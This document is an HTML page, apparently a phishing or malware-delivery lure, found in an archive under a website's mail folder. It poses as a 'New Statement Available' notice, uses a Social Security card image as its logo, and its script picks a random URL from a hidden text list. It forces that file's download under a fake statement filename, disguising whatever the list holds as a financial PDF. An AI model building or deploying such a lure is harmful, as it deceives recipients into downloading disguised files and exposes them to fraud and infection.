Current File : /home/bluesky/public_html/mail/statement.html.tar
home/bluesky/public_html/statement.html 0000644 00000013316 15066045136 0014360 0 ustar 00 <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>New Statement Available</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body {
font-family: 'Inter', sans-serif;
background-color: #f7fafc; /* A very light gray to complement the white card */
}
</style>
</head>
<body class="bg-white flex items-center justify-center min-h-screen p-4">
<div class="max-w-xl w-full bg-white shadow-xl rounded-2xl p-8 md:p-12 text-center border border-gray-100">
<div class="mb-8">
<img src="https://i.postimg.cc/x1hBskJd/pngfind-com-social-security-card-png-4886296.png" alt="Company Logo" class="h-20 w-50 mx-auto mb-4 rounded-full">
<h1 class="text-3xl font-bold text-gray-800 mb-2">New Statement Available</h1>
<p class="text-gray-600">A new statement for your account is available for download. Please review your account activity and transactions for the last period.</p>
</div>
<div class="bg-gray-50 rounded-lg p-6 mb-8 text-left">
<h2 class="text-xl font-semibold text-gray-700 mb-2">Statement Details:</h2>
<ul class="list-disc list-inside space-y-1 text-gray-600">
<li>Review all recent transactions</li>
<li>Secure PDF document for your records</li>
<li>Download your statement at any time</li>
</ul>
</div>
<div class="space-y-6">
<button id="downloadBtn" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-bold py-3 px-6 rounded-xl transition duration-300 transform hover:scale-105 focus:outline-none focus:ring-4 focus:ring-blue-300">
Download Now
</button>
</div>
<div id="messageBox" class="mt-8 p-4 hidden rounded-lg text-sm text-left"></div>
</div>
<script>
let pdfList = []; // Initialize an empty array for the list of PDFs
let isLoading = true; // Flag to check if the list is being loaded
document.addEventListener('DOMContentLoaded', () => {
const downloadBtn = document.getElementById('downloadBtn');
const messageBox = document.getElementById('messageBox');
// Function to show a message to the user
const showMessage = (text, type = 'info') => {
messageBox.textContent = text;
messageBox.className = 'mt-8 p-4 rounded-lg text-sm text-left';
messageBox.classList.remove('hidden');
if (type === 'success') {
messageBox.classList.add('bg-green-100', 'text-green-700');
} else if (type === 'error') {
messageBox.classList.add('bg-red-100', 'text-red-700');
} else { // info
messageBox.classList.add('bg-blue-100', 'text-blue-700');
}
};
// Function to fetch the list of PDFs from a text file
const fetchPdfList = async () => {
showMessage('Loading PDF list...');
try {
const response = await fetch('pdf-list.txt');
if (!response.ok) {
throw new Error(`Failed to load PDF list: ${response.status} ${response.statusText}`);
}
const text = await response.text();
pdfList = text.split('\n').filter(url => url.trim() !== '');
isLoading = false;
showMessage('PDF list loaded successfully!', 'success');
console.log('PDF list loaded:', pdfList);
} catch (error) {
isLoading = false;
console.error(error);
showMessage(`Error loading PDF list: ${error.message}. Please check if 'pdf-list.txt' exists.`, 'error');
}
};
// Call the function to load the list when the page loads
fetchPdfList();
// Function to handle the file download
const downloadFile = () => {
if (isLoading) {
showMessage('Please wait while the PDF list is being loaded...', 'info');
return;
}
if (pdfList.length === 0) {
showMessage('No PDF files are available for download. The list is empty.', 'error');
return;
}
try {
const randomIndex = Math.floor(Math.random() * pdfList.length);
const fileUrl = pdfList[randomIndex];
const a = document.createElement('a');
a.href = fileUrl;
a.download = `Statement_download_${randomIndex + 1}.pdf`;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
showMessage('Download started successfully!', 'success');
} catch (error) {
console.error('Download failed:', error);
showMessage('An error occurred. Please try again.', 'error');
}
};
// Event listener for the download button
downloadBtn.addEventListener('click', (event) => {
event.preventDefault();
downloadFile();
});
});
</script>
</body>
</html>